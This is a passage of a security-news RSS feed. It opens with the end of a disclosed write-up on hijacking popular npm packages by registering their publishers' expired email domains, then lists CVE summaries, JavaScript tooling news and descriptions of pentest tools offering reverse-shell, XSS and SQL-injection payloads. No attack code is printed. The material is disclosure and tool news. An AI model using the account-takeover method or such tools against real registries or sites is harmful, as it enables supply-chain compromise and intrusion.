vulnerability, had it been exploited by an actual malicious attacker.
Notably there were a few other popular packages which were exploitable
in this same fashion (registration of developer email domains), but in
the spirit of keeping this writeup succinct I’ve decided not to include
them in this post.</p>

<p><strong>NOTE:</strong> As of the time of this writing, the <a href="https://www.npmjs.com/package/webpack"><code class="highlighter-rouge">webpack</code></a>
package is pinned to <a href="https://www.npmjs.com/package/schema-utils"><code class="highlighter-rouge">schema-utils</code></a>
version <a href="https://www.npmjs.com/package/schema-utils/v/3.1.1">3.1.1</a>
which does <em>not</em> include <a href="https://www.npmjs.com/package/ajv-formats"><code class="highlighter-rouge">ajv-formats</code></a>.
As such, it would not be transitively installed until <a href="https://www.npmjs.com/package/webpack"><code class="highlighter-rouge">webpack</code></a>
updated the version of <a href="https://www.npmjs.com/package/schema-utils"><code class="highlighter-rouge">schema-utils</code></a>
that it depends upon. This would be a natural requirement in all cases
of backdoored npm packages, and a more nuanced perspective is included
below.</p>

<h2>Is There Any Backstop? The Nuance of Exploiting Users of Transitively-Dependent Packages</h2>

<p>This research raises a number of interesting questions around npm
dependencies, and just how serious the impact the compromise of a
transitive dependency is. For example, if you have a package which has a
dependency on another package and that sub-package is compromised, is
the main package compromised as well?</p>

<p>As with most things in software, the answer is nuanced.</p>

<h3>What You Cannot Do In the npm Registry</h3>

<p>To introduce the more interesting pieces of dependency security, a few
key points need to be mentioned about how packages work in npm.
Specifically it’s important to note that:</p>

<ul><li>
    <p><a href="https://docs.npmjs.com/unpublishing-packages-from-the-registry#when-to-unpublish">You cannot “overwrite” an already-published version of a package</a>. If you’ve published a <code class="highlighter-rouge">package@1.0.2</code> version, for example, you can’t suddenly push a backdoored package to that same exact version. Notably <a href="https://blog.npmjs.org/post/141577284765/kik-left-pad-and-npm.html">this was not always the case</a>.</p>
  </li>
  <li>
    <p><a href="https://docs.npmjs.com/unpublishing-packages-from-the-registry">You can only unpublish a package version if it’s less than 72 hours old and no other packages depend on it.</a> (So no, you can’t get clever and delete a version only to republish a backdoored version.)</p>
  </li>
</ul><p>This removes the most immediate path for compromising downstream
packages, leaving us with the obvious alternative of pushing a new and
backdoored version instead. Updating package dependencies is a regular
part of package maintenance after all, and it happens regularly across
the npm ecosystem.</p>

<h3>Pinning Dependencies With <code class="highlighter-rouge">package-lock.json</code> &amp; the Dependency Security Catch-22</h3>

<p>Those familiar with the world of dependency security will also be
familiar with the catch-22 of “pinning your dependencies”. In the case
of npm, this usually means to have a <a href="https://docs.npmjs.com/cli/v8/configuring-npm/package-lock-json#description"><code class="highlighter-rouge">package-lock.json</code></a>
file which specifies the entire dependency tree for your project. With
this file sitting in your root project folder, <code class="highlighter-rouge">npm install</code> commands
will now always install all of your dependency versions as they were
when you ran <code class="highlighter-rouge">npm install</code> to generate the file. Rogue packages
updates are no longer your concern since you’re not updating! Problem
solved, <em>right</em>?</p>

<p>However, this leaves another potentially more serious problem:
vulnerable libraries are no longer being updated. If you’re pinning all
your dependencies (and their dependencies), then you’ll never receive
bug fixes and critical patches. In the <a href="https://www.lunasec.io/docs/blog/log4j-zero-day">wake of
the log4j
vulnerability</a>,
this is clearly not an ideal route to take. Like most things in
security, it’s a risk tradeoff decision. You weigh the pros and cons of
each and proceed accordingly.</p>

<h3>Marking a Package as “Vulnerable” to Push Downstream Packages to Update to Your Malicious Version</h3>

<p>What if an attacker were to intentionally flag their compromised package
as “vulnerable”? Where would that leave dependent packages? Authors of
packages which depend on the attacker’s package now have to make a
decision on the exact catch-22 we mentioned before. If they <em>don’t
update</em> their dependencies, they risk putting all those who utilize
their package at risk of being “vulnerable”. However, if they <em>do
update</em> their dependencies, they risk a whole slew of new code being
incorporated into their package.</p>

<h3>Can’t We Just Review <em>Everything</em> Before We Update?</h3>

<p>That raises another question, <em>can’t maintainers and developers just
review all of the new code in each dependency before including the
updated versions?</em></p>

<p>The most obvious rebuttal to this idea is probably self-evident: <em>it’s a
ton of work</em>. We’re talking about going over diffs for the dependencies
themselves, their dependencies, and so on. Doing so with any serious
level of rigor is a large time-consuming effort. A vast majority of full
time software developers aren’t reviewing every change in their
dependencies, let alone volunteers who maintain packages in their own
personal time. Asking these volunteers to do this daunting task seems
unrealistic, to say the very least.</p>

<p>The problem only becomes more murky when you factor in the ability to
specify <a href="https://docs.npmjs.com/cli/v8/configuring-npm/package-json#dependencies">version ranges in your
package.json</a>.
If you have a dependency that allows for flexibility in its dependencies
(e.g: <code class="highlighter-rouge">&gt;=package_name</code>) then a developer could later publish an
update to a new version, and they would be included in fresh installs.
This means that you could review all of your dependencies, find nothing
malicious, and then be seamlessly backdoored later.</p>

<h3>Some Homework and Some Thoughts</h3>

<p>For those interested in doing a bit of learning and research themselves,
take a stab at looking at the process for updating dependencies in
Angular. In my opinion Google actually does a fairly good job of it (all
things considered). Here’s an example pull request to get you started:
<a href="https://github.com/angular/angular/pull/45013">https://github.com/angular/angular/pull/45013</a></p>

<p>If not Angular, pick any popular package that you use in your JavaScript
development. When you research the process, ask yourself some of these
questions:</p>

<ul><li>
    <p><em>“Would this process catch a rogue dependency update which is malicious?”</em></p>
  </li>
  <li>
    <p><em>“Would it catch a malicious update to a dependency-of-a-depency?”</em></p>
  </li>
  <li>
    <p><em>“Does it prevent dependencies that specify a version range instead of a specific singular version?”</em></p>
  </li>
  <li>
    <p><em>“Are packages being regularly updated to ensure vulnerabilities are being regularly patched?”</em></p>
  </li>
</ul><p>This is not a quiz and there are no gotchas or simple answers, this is
meant to have you seriously think about the problems being faced in
dependency security. The real world is filled with nuance and hard
problems and software development is no exception!</p>

<h2>Wait, What About the Expired Email Domains Problem?</h2>

<p>Clearly dependency security is a complex issue, so let’s focus on the
more simple issue here: expired domains in account emails. In this case,
there are a few important pieces to consider:</p>

<ul><li>
    <p>Custom domains are a common part of developer culture, and they are unlikely to go away. They carry a real risk of being exploitable when these domains expire, and developers should give serious consideration of this problem when using them for their important accounts.</p>
  </li>
  <li>
    <p>During this research the npm accounts weren’t the only accounts which were suddenly hijackable upon registering the expired domains. Accounts on all sorts of important websites such as Github, Slack, etc were also in jeopardy. Any website which uses emailed password resets as a single-factor for account access has this problem.</p>
  </li>
  <li>
    <p>Sites may want to proactively disable accounts when their email domains expire or become non-routable. They will also likely need to have an alternative path to reset the account’s password that strongly verifies the person is the owner of the account when this happens and the original account owner needs to get access to their account again.</p>
  </li>
</ul><p>In the npm case, I reported the problem to them (the Github security
team) via HackerOne which they require for vulnerability reports. They
closed the report as “Informative” and noted that “<em>This is something
we’ve been tracking internally and have mitigations in place for</em>”.
Whether or not they implemented any new changes is unclear. See the
disclosure timeline below, or <a href="https://imgur.com/a/7TQs3vx">this archive of
the HackerOne report for more info</a>.
I would probably advise npm users to proceed with the assumption that
this is still a problem that could be exploited.</p>

<h2>The TL;DR Summary &amp; High-Level Points</h2>

<ul><li>
    <p>Developers for highly-installed npm packages had their npm accounts registered to email addresses at expired domains.</p>
  </li>
  <li>
    <p>Registering these expired domain names allowed for the takeover of important npm packages such as <a href="https://www.npmjs.com/package/ajv-formats"><code class="highlighter-rouge">ajv-formats</code></a> which currently has ~5 million installs a week.</p>
  </li>
  <li>
    <p>The <a href="https://www.npmjs.com/package/ajv-formats"><code class="highlighter-rouge">ajv-formats</code></a> package is a dependency of <a href="https://www.npmjs.com/package/@angular-devkit/core"><code class="highlighter-rouge">@angular-devkit/core</code></a>, Angular’s core utility library. <a href="https://www.npmjs.com/package/@angular-devkit/core"><code class="highlighter-rouge">@angular-devkit/core</code></a> is a dependency of <a href="https://www.npmjs.com/package/@angular/cli"><code class="highlighter-rouge">@angular/cli</code></a>, which is the tooling <a href="https://angular.io/start/start-deployment#prerequisites">used to compile Angular apps</a>.</p>
  </li>
  <li>
    <p>Dependency security is a complex problem with risk tradeoffs that should be weighed carefully.</p>
  </li>
  <li>
    <p>Developers using custom domains for their email address should seriously consider the risks they are taking on by using the email for their online accounts. If this domain expires or is hijacked, where does that leave them?</p>
  </li>
  <li>
    <p>It’s unclear if npm has changed anything as a result of my report to them and npm users should likely assume that this issue could still be exploited in the future.</p>
  </li>
</ul><h2>Disclosure Timeline</h2>

<h3><code class="highlighter-rouge">ajv-formats</code>/<code class="highlighter-rouge">machino.bio</code> Domain Disclosure</h3>

<ul><li>
    <p><em>Jan 10, 2022</em>: Reached out to the owner of <code class="highlighter-rouge">machina.bio</code> domain via LinkedIn to disclose the issue.</p>
  </li>
  <li>
    <p><em>Jan 15, 2022</em>: Realized I had missed a reply to the LinkedIn reachout with the developer’s email. Sent details of disclosure to the email address provided.</p>
  </li>
  <li>
    <p><em>Jan 21, 2022</em>: Received a response to <code class="highlighter-rouge">machina.bio</code> domain disclosure email.</p>
  </li>
  <li>
    <p><em>Jan 22, 2022</em>: Followed up with credentials for npm account and <code class="highlighter-rouge">machina.bio</code> domain transfer code to complete handover.</p>
  </li>
</ul><h3>npm Registry (Github Security Team) Disclosure</h3>

<ul><li>
    <p><em>Jan 17, 2022</em>: Submitted HackerOne bug to Github’s bug bounty program, due to <a href="https://www.npmjs.com/support">npm’s site</a> requesting bugs be submitted via this avenue. <a href="https://hackerone.com/reports/1452186">Report ID #1452186</a>.</p>
  </li>
  <li>
    <p><em>Jan 25, 2022</em>: Github security team closes the bug as invalid <em>“Because this attack vector included submitting a support request to re-enable password resets for a disabled account, this is considered social engineering and is therefore ineligible for a reward under the Bug Bounty program.”</em>. They also considered the issue mitigated <em>“​​This is something we’ve been tracking internally and have mitigations in place for.”</em></p>
  </li>
  <li>
    <p><em>Jan 25, 2022</em>: Requested public disclosure due to the bug being apparently mitigated and because the report was closed as Informative.</p>
  </li>
  <li>
    <p><em>Feb 2, 2022</em>: Github denies disclosure request due to bug being closed as Informational. However, they state that publishing a write up is completely fine. You can see the full HackerOne report as an image here: <a href="https://imgur.com/a/7TQs3vx">https://imgur.com/a/7TQs3vx</a></p>
  </li>
</ul><p>—</p>

<p><em>Special thanks to <a href="https://twitter.com/michaelxproxy">Michael Xu
(@michaelxproxy)</a> for
consulting with me on this topic. His feedback was essential for the
sections on the nuances of package-pinning.</em></p>

    <p><a href="https://thehackerblog.com/zero-days-without-incident-compromising-angular-via-expired-npm-publisher-email-domains-7kZplW4x/">"Zero-Days" Without Incident - Compromising Angular via Expired npm Publisher Email Domains</a> was originally published by Matthew Bryant (mandatory) at <a href="https://thehackerblog.com/feed.xml">The Hacker Blog</a> on February 11, 2022.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Vite.js: Rasantes Build-Tool aus der Vue.js-Schmiede]]></title>
<description><![CDATA[Vite legt Tempo vor: Das Development- und Build-Tool soll zwanzigmal schneller sein als webpack. Dahinter steht das Team um Vue-Gründer Evan You.]]></description>
<link>https://tsecurity.de/de/1388149/it-nachrichten/vitejs-rasantes-build-tool-aus-der-vuejs-schmiede/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1388149/it-nachrichten/vitejs-rasantes-build-tool-aus-der-vuejs-schmiede/</guid>
<pubDate>Tue, 23 Feb 2021 06:31:34 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Vite legt Tempo vor: Das Development- und Build-Tool soll zwanzigmal schneller sein als webpack. Dahinter steht das Team um Vue-Gründer Evan You.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2020-29041]]></title>
<description><![CDATA[A misconfiguration in Web-Sesame 2020.1.1.3375 allows an unauthenticated attacker to download the source code of the application, facilitating its comprehension (code review). Specifically, JavaScript source maps were inadvertently included in the production Webpack configuration. These maps cont...]]></description>
<link>https://tsecurity.de/de/1344776/sicherheitsluecken/cve-2020-29041/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1344776/sicherheitsluecken/cve-2020-29041/</guid>
<pubDate>Wed, 06 Jan 2021 23:47:51 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A misconfiguration in Web-Sesame 2020.1.1.3375 allows an unauthenticated attacker to download the source code of the application, facilitating its comprehension (code review). Specifically, JavaScript source maps were inadvertently included in the production Webpack configuration. These maps contain sources used to generate the bundle, configuration settings (e.g., API keys), and developers' comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Hack-Tools v0.3.0 - The All-In-One Red Team Extension For Web Pentester]]></title>
<description><![CDATA[The all-in-one Red Team browser extension for Web Pentesters  HackTools, is a web extension facilitating your web application penetration tests, it includes cheat sheets as well as all the tools used during a test such as XSS payloads, Reverse shells and much more.  With the extension you no long...]]></description>
<link>https://tsecurity.de/de/1344682/it-security-nachrichten/hack-tools-v030-the-all-in-one-red-team-extension-for-web-pentester/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1344682/it-security-nachrichten/hack-tools-v030-the-all-in-one-red-team-extension-for-web-pentester/</guid>
<pubDate>Wed, 06 Jan 2021 21:17:03 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="separator"><a href="https://1.bp.blogspot.com/-QMFKQ1ABihI/X_YnN1ZGVSI/AAAAAAAAU4A/zvB_1WlIv6MNoxSEYJ93mj2gMD4-HlBawCNcBGAsYHQ/s1280/Hack-Tools_9.png" imageanchor="1"><img border="0" data-original-height="731" data-original-width="1280" height="366" src="https://1.bp.blogspot.com/-QMFKQ1ABihI/X_YnN1ZGVSI/AAAAAAAAU4A/zvB_1WlIv6MNoxSEYJ93mj2gMD4-HlBawCNcBGAsYHQ/w640-h366/Hack-Tools_9.png" width="640"></a></div><p><br></p><b>The all-in-one <a href="https://www.kitploit.com/search/label/Red%20Team" target="_blank" title="Red Team">Red Team</a> browser extension for <strong>Web Pentesters</strong></b><br>  <p>HackTools, is a web extension facilitating your <strong>web application penetration tests</strong>, it includes <strong>cheat sheets</strong> as well as all the <strong>tools</strong> used during a test such as XSS payloads, Reverse shells and much more.</p>  <p>With the extension you <strong>no longer need to search for payloads in different websites</strong> or in your local storage space, most of the tools are accessible in one click. HackTools is accessible either in <strong>pop up mode</strong> or in a whole tab in the <strong>Devtools</strong> part of the browser with F12.</p><span><a name="more"></a></span><div><br></div><b>Current functions</b><br>  <ul>  <li>Dynamic Reverse Shell generator (PHP, Bash, Ruby, Python, Perl, Netcat)</li>  <li>Shell Spawning (TTY Shell Spawning)</li>  <li>XSS Payloads</li>  <li>Basic SQLi payloads</li>  <li>Local file inclusion payloads (LFI)</li>  <li>Base64 Encoder / Decoder</li>  <li>Hash <a href="https://www.kitploit.com/search/label/Generator" target="_blank" title="Generator">Generator</a> (MD5, SHA1, SHA256, SHA512, SM3)</li>  <li>Useful Linux commands (Port Forwarding, SUID)</li>  <li>RSS Feed (Exploit DB, Cisco Security Advisories, CXSECURITY)</li>  <li>CVE Search Engine</li>  <li>Various method of data <a href="https://www.kitploit.com/search/label/Exfiltration" target="_blank" title="exfiltration">exfiltration</a> and download from a remote machine</li>  </ul>  <br><span><b>Preview</b></span><br>  <div><br></div><div class="separator"><a href="https://1.bp.blogspot.com/-Dx8e84ksU20/X_YnWg19MQI/AAAAAAAAU4I/aQlNFzriOiAY0mailVCY3m6iRnHTCm1SACNcBGAsYHQ/s1309/Hack-Tools_10.png" imageanchor="1"><img border="0" data-original-height="799" data-original-width="1309" height="390" src="https://1.bp.blogspot.com/-Dx8e84ksU20/X_YnWg19MQI/AAAAAAAAU4I/aQlNFzriOiAY0mailVCY3m6iRnHTCm1SACNcBGAsYHQ/w640-h390/Hack-Tools_10.png" width="640"></a></div><br><div class="separator"><a href="https://1.bp.blogspot.com/-X-Arj_BzAwQ/X_YnWtGLLOI/AAAAAAAAU4E/OjNoVvyxfGgEQQnIK-cXN9tS1HoFm5X7wCNcBGAsYHQ/s1309/Hack-Tools_11.png" imageanchor="1"><img border="0" data-original-height="799" data-original-width="1309" height="390" src="https://1.bp.blogspot.com/-X-Arj_BzAwQ/X_YnWtGLLOI/AAAAAAAAU4E/OjNoVvyxfGgEQQnIK-cXN9tS1HoFm5X7wCNcBGAsYHQ/w640-h390/Hack-Tools_11.png" width="640"></a></div><br><div class="separator"><a href="https://1.bp.blogspot.com/-3Gel9RO5i_c/X_YnWik7I9I/AAAAAAAAU4M/9soNCKAWXcsxErgQ9w45DY92hBqBP-VWwCNcBGAsYHQ/s1309/Hack-Tools_12.png" imageanchor="1"><img border="0" data-original-height="799" data-original-width="1309" height="390" src="https://1.bp.blogspot.com/-3Gel9RO5i_c/X_YnWik7I9I/AAAAAAAAU4M/9soNCKAWXcsxErgQ9w45DY92hBqBP-VWwCNcBGAsYHQ/w640-h390/Hack-Tools_12.png" width="640"></a></div><br><div class="separator"><a href="https://1.bp.blogspot.com/-SxnQ20-yeMI/X_YnXLEjQLI/AAAAAAAAU4Q/uyJbCYO6VXMadbRtNTAfRjGooDauOE79gCNcBGAsYHQ/s1309/Hack-Tools_13.png" imageanchor="1"><img border="0" data-original-height="799" data-original-width="1309" height="390" src="https://1.bp.blogspot.com/-SxnQ20-yeMI/X_YnXLEjQLI/AAAAAAAAU4Q/uyJbCYO6VXMadbRtNTAfRjGooDauOE79gCNcBGAsYHQ/w640-h390/Hack-Tools_13.png" width="640"></a></div><br><div><br></div>  <br><span><b>Install the extension</b></span><br>  <br><b>Chromium based browser</b><br>  <p>You can download the <strong>latest build</strong> <a href="https://github.com/LasCC/Hack-Tools/releases" rel="nofollow" target="_blank" title="here.">here.</a></p>  <p>Or, you can download the extension on the <strong>chorme web store</strong> <a href="https://chrome.google.com/webstore/detail/hack-tools/cmbndhnoonmghfofefkcccljbkdpamhi" rel="nofollow" target="_blank" title="there.">there.</a></p>  <p>Otherwise, if you want to build the project yourself from the source code</p>  <br><b>Mozilla Firefox</b><br>  <p>You can download <strong>HackTools</strong> on the Firefox browser <a href="https://www.kitploit.com/search/label/Add-ons" target="_blank" title="add-ons">add-ons</a> <a href="https://addons.mozilla.org/en-US/firefox/addon/hacktools/" rel="nofollow" target="_blank" title="here.">here.</a></p>  <br><b>Build from source code</b><br>  <div><pre><code>yarn install &amp;&amp; yarn build</code></pre></div>  <p>Once the build is done correctly, webpack will create a new folder called <strong>dist</strong></p>  <p>After that you need to go to the <strong>extension</strong> tab on your chrome based navigator and turn on the <strong>developer mode</strong></p>  <p><br></p><div class="separator"><a href="https://1.bp.blogspot.com/-GtAkilc2MD0/X_YneUp03zI/AAAAAAAAU4Y/uX-Cm3vN4_keBO7angjtAl4wpnewqqD9ACNcBGAsYHQ/s287/Hack-Tools_14.png" imageanchor="1"><img border="0" data-original-height="130" data-original-width="287" height="290" src="https://1.bp.blogspot.com/-GtAkilc2MD0/X_YneUp03zI/AAAAAAAAU4Y/uX-Cm3vN4_keBO7angjtAl4wpnewqqD9ACNcBGAsYHQ/w640-h290/Hack-Tools_14.png" width="640"></a></div><p><br></p>  <p>Then click on the <strong>load unpacked</strong> button in the top left corner</p>  <p><br></p><div class="separator"><a href="https://1.bp.blogspot.com/-rUDN-3sy5cM/X_YniP2AAJI/AAAAAAAAU4c/4pp-3Fs5aishoiW-1uEpBz9aj1gLao5qwCNcBGAsYHQ/s563/Hack-Tools_15.png" imageanchor="1"><img border="0" data-original-height="125" data-original-width="563" height="142" src="https://1.bp.blogspot.com/-rUDN-3sy5cM/X_YniP2AAJI/AAAAAAAAU4c/4pp-3Fs5aishoiW-1uEpBz9aj1gLao5qwCNcBGAsYHQ/w640-h142/Hack-Tools_15.png" width="640"></a></div><p><br></p>  <p>Once you clicked on the button you just need to select the <strong>dist folder</strong> and that's it ! </p><div></div>  <div class="separator"><a href="https://1.bp.blogspot.com/-YFuYevct3N0/X_YnoDOrycI/AAAAAAAAU4o/y4gwew1clH8hXmQcnzURHSwDmx94-9cWwCNcBGAsYHQ/s802/Hack-Tools_16.png" imageanchor="1"><img border="0" data-original-height="455" data-original-width="802" height="364" src="https://1.bp.blogspot.com/-YFuYevct3N0/X_YnoDOrycI/AAAAAAAAU4o/y4gwew1clH8hXmQcnzURHSwDmx94-9cWwCNcBGAsYHQ/w640-h364/Hack-Tools_16.png" width="640"></a></div><p><br></p><span><b>Authors</b></span><br>  <p></p><div></div> <strong>Ludovic COULON &amp; Riadh BOUCHAHOUA</strong>  <br><p><br></p><br><div><b><span><a class="kiploit-download" href="https://github.com/LasCC/Hack-Tools" rel="nofollow" target="_blank" title="Download Hack-Tools">Download Hack-Tools</a></span></b></div><img src="http://feeds.feedburner.com/~r/PentestTools/~4/Pnpbqa34VOo" height="1" width="1" alt="">]]></content:encoded>
</item>
<item>
<title><![CDATA[Packer-Fuzzer - A Fast And Efficient Scanner For Security Detection Of Websites Constructed By Javascript Module Bundler Such As Webpack]]></title>
<description><![CDATA[With the popularity of web front-end packaging tools, have you encountered more and more websites represented by Webpack packager in daily penetration testing and security services? This type of packager will package the API and API parameters of the entire site together for centralized Web call,...]]></description>
<link>https://tsecurity.de/de/1321244/it-security-nachrichten/packer-fuzzer-a-fast-and-efficient-scanner-for-security-detection-of-websites-constructed-by-javascript-module-bundler-such-as-webpack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1321244/it-security-nachrichten/packer-fuzzer-a-fast-and-efficient-scanner-for-security-detection-of-websites-constructed-by-javascript-module-bundler-such-as-webpack/</guid>
<pubDate>Tue, 08 Dec 2020 21:01:34 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="separator"><a href="https://1.bp.blogspot.com/-AcMWZKg5_7k/X82pDKEY1tI/AAAAAAAAUlk/1bOieaWSG7kXPRhPDeRIH5csFHJ_q1rHACNcBGAsYHQ/s752/Packer-Fuzzer_6_demo-terminal.png" imageanchor="1"><img border="0" data-original-height="726" data-original-width="752" height="618" src="https://1.bp.blogspot.com/-AcMWZKg5_7k/X82pDKEY1tI/AAAAAAAAUlk/1bOieaWSG7kXPRhPDeRIH5csFHJ_q1rHACNcBGAsYHQ/w640-h618/Packer-Fuzzer_6_demo-terminal.png" width="640"></a></div><p><br></p><p>With the popularity of web front-end packaging tools, have you encountered more and more websites represented by Webpack packager in daily penetration testing and security services? This type of packager will package the API and API parameters of the entire site together for centralized Web call, which is also convenient for us to quickly discover the functions and API lists of the website, but often the number of JS files generated by these packagers is unusually large and total The amount of JS code is extremely large (more than ten thousand lines), which brings great inconvenience to our manual testing, and the Packer Fuzzer software came into being.</p><span><a name="more"></a></span><p><br></p><p>This tool supports automatic fuzzy extraction of the API corresponding to the target site and the parameter content corresponding to the API, and supports the fuzzing and efficient fuzzing of seven vulnerabilities: unauthorized access, sensitive information leakage, CORS, SQL injection, unauthorized access, weak password, and arbitrary file upload Rapid detection. After the scan is over, this tool also supports automatic generation of scan reports. You can choose the HTML version that is easy to analyze and the more formal doc, pdf, txt versions.</p><p><br></p><p>And you don’t have to worry about language problems caused by internationalization. This tool comes with five major language packages (including report templates): Simplified Chinese, French, Spanish, English, and Japanese (sorted according to translation accuracy). NoProfessional team translation.</p><p><br></p><h3>Parameter introduction</h3><p>You can use the python3 PackerFuzzer.py [options] command to run this tool. The content of options is as follows:</p><p><br></p><p><b>--h (--help)</b></p><p>Help command, no additional parameters, view all the parameters supported by this tool and their corresponding introduction;</p><p><br></p><p><b>--u (--url)</b></p><p>The URL path of the website to be scanned is a required option, for example: -u https://demo.poc-sir.com;</p><p><br></p><p><b>--c (--cookie)</b></p><p>Additional cookies content, can be empty, if filled in, it will be passed globally, for example: -c "POC=666;SIR=233";</p><p><br></p><p><b>--d (--head)</b></p><p>Additional HTTP header content, which can be empty, if filled in, it will be passed in globally, the default is Cache-Control:no-cache, for example: -d "Token:3VHJ32HF0";</p><p><br></p><p><b>--l (--lang)</b></p><p>Language option, when it is empty, the system will automatically select the corresponding language option, if there is no corresponding language pack, it will automatically switch to the English interface. The available language packs are: Simplified Chinese (zh), French (fr), Spanish (es), English (en), Japanese (ja), for example: -l zh;</p><p><br></p><p><b>--t (--type)</b></p><p>It is divided into basic version and advanced version. When it is empty, the basic version is used by default. The advanced version will rescan all APIs and fuzzy extract the corresponding parameters of the API, and perform: SQL injection vulnerabilities, horizontal unauthorized vulnerabilities, weak password vulnerabilities, and arbitrary file upload vulnerabilities. You can use the adv option to enter the advanced version, for example: -t adv;</p><p><br></p><p><b>--p (--proxy)</b></p><p>Global proxy, can be empty, if you fill in, use proxy IP globally, for example: -p https://hack.cool:8080;</p><p><br></p><p><b>--j (--js)</b></p><p>Additional JS file, can be empty, when you think there are other JS files that need to be analyzed by this tool, you can use this option, for example: -j https://demo.poc-sir.com/js/index.js, https://demo.poc-sir.com/js/vue.js;</p><p><br></p><p><b>--b (--base)</b></p><p>Specify the middle part of the API (for example, when an API is: https://demo.poc-sir.com/v1_api/login, its basedir is: v1_api), it can be empty, when you think the automatically extracted basedir of this tool is not accurate , You can use this option, for example: -b v1_api;</p><p><br></p><p><b>--r (--report)</b></p><p>Specify the report format to be generated. When it is empty, HTML and DOC format reports are generated by default. Available report formats are: html, doc, pdf, txt, for example: -r html,pdf;</p><p><br></p><p><b>--e (--ext)</b></p><p>Whether to enable the extension plug-in option, this tool supports users to self-write plug-ins and save them in the ext directory (for how to write, please refer to the demo.py file in the corresponding directory). The default is off. When the user uses the on command to open, the tool will automatically execute the plug-ins in the corresponding directory, for example: -e on;</p><p><br></p><p><b>--f (--flag)</b></p><p>The SSL connection security option, when it is empty, is closed by default. In this state, all insecure connections will be blocked. If you want to ignore the SSL security status, you can use the 1 command to enable it, and all certificate errors will be ignored, for example: -f 1;</p><p><br></p><p><b>-s (--silent)</b></p><p>The Silent option, once enabled, all operations that ask for YES or NO will automatically be set to YES, and the content after the parameter is the name of the scan report (custom report name), which can be used for unattended, batch operations, plug-in calls, for example: -s Scan_Task_777.</p><p><br></p>  <br><br><div><b><span><a class="kiploit-download" href="https://github.com/rtcatc/Packer-Fuzzer" rel="nofollow" target="_blank" title="Download Packer-Fuzzer">Download Packer-Fuzzer</a></span></b></div><img src="http://feeds.feedburner.com/~r/PentestTools/~4/IefH1G1qY6k" height="1" width="1" alt="">]]></content:encoded>
</item>
<item>
<title><![CDATA[JavaScript: Angular 11 bringt experimentelle Unterstützung für Webpack 5]]></title>
<description><![CDATA[Version 11 des JavaScript-Framework führt neben neuen APIs automatisches Font-Inlining ein, das die Ladegeschwindigkeit der Seiten verbessern soll.]]></description>
<link>https://tsecurity.de/de/1294843/it-nachrichten/javascript-angular-11-bringt-experimentelle-unterstuetzung-fuer-webpack-5/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1294843/it-nachrichten/javascript-angular-11-bringt-experimentelle-unterstuetzung-fuer-webpack-5/</guid>
<pubDate>Thu, 12 Nov 2020 13:54:09 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Version 11 des JavaScript-Framework führt neben neuen APIs automatisches Font-Inlining ein, das die Ladegeschwindigkeit der Seiten verbessern soll.]]></content:encoded>
</item>
<item>
<title><![CDATA[Die Micro-Frontend-Revolution: Webpack 5 Module Federation]]></title>
<description><![CDATA[Das neue Feature des Bundlers für JavaScript-Module erlaubt das Laden von Anwendungsteilen aus separat kompilierten und bereitgestellten Anwendungen.]]></description>
<link>https://tsecurity.de/de/1270340/it-nachrichten/die-micro-frontend-revolution-webpack-5-module-federation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1270340/it-nachrichten/die-micro-frontend-revolution-webpack-5-module-federation/</guid>
<pubDate>Tue, 20 Oct 2020 08:32:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das neue Feature des Bundlers für JavaScript-Module erlaubt das Laden von Anwendungsteilen aus separat kompilierten und bereitgestellten Anwendungen.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2020-15262]]></title>
<description><![CDATA[In webpack-subresource-integrity before version 1.5.1, all dynamically loaded chunks receive an invalid integrity hash that is ignored by the browser, and therefore the browser cannot validate their integrity. This removes the additional level of protection offered by SRI for such chunks. Top-lev...]]></description>
<link>https://tsecurity.de/de/1270194/sicherheitsluecken/cve-2020-15262/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1270194/sicherheitsluecken/cve-2020-15262/</guid>
<pubDate>Tue, 20 Oct 2020 01:03:13 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In webpack-subresource-integrity before version 1.5.1, all dynamically loaded chunks receive an invalid integrity hash that is ignored by the browser, and therefore the browser cannot validate their integrity. This removes the additional level of protection offered by SRI for such chunks. Top-level chunks are unaffected. This issue is patched in version 1.5.1.]]></content:encoded>
</item>
<item>
<title><![CDATA[Webpack 5 ermöglicht das Laden von Anwendungsteilen aus separaten Anwendungen]]></title>
<description><![CDATA[Webpack, der Bundler für JavaScript-Module, bringt Entwicklern mit der Version 5.0 eine Reihe von massiven Änderungen, die zu Inkompatibilitäten führen können.]]></description>
<link>https://tsecurity.de/de/1263696/it-nachrichten/webpack-5-ermoeglicht-das-laden-von-anwendungsteilen-aus-separaten-anwendungen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1263696/it-nachrichten/webpack-5-ermoeglicht-das-laden-von-anwendungsteilen-aus-separaten-anwendungen/</guid>
<pubDate>Tue, 13 Oct 2020 12:17:51 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Webpack, der Bundler für JavaScript-Module, bringt Entwicklern mit der Version 5.0 eine Reihe von massiven Änderungen, die zu Inkompatibilitäten führen können.]]></content:encoded>
</item>
<item>
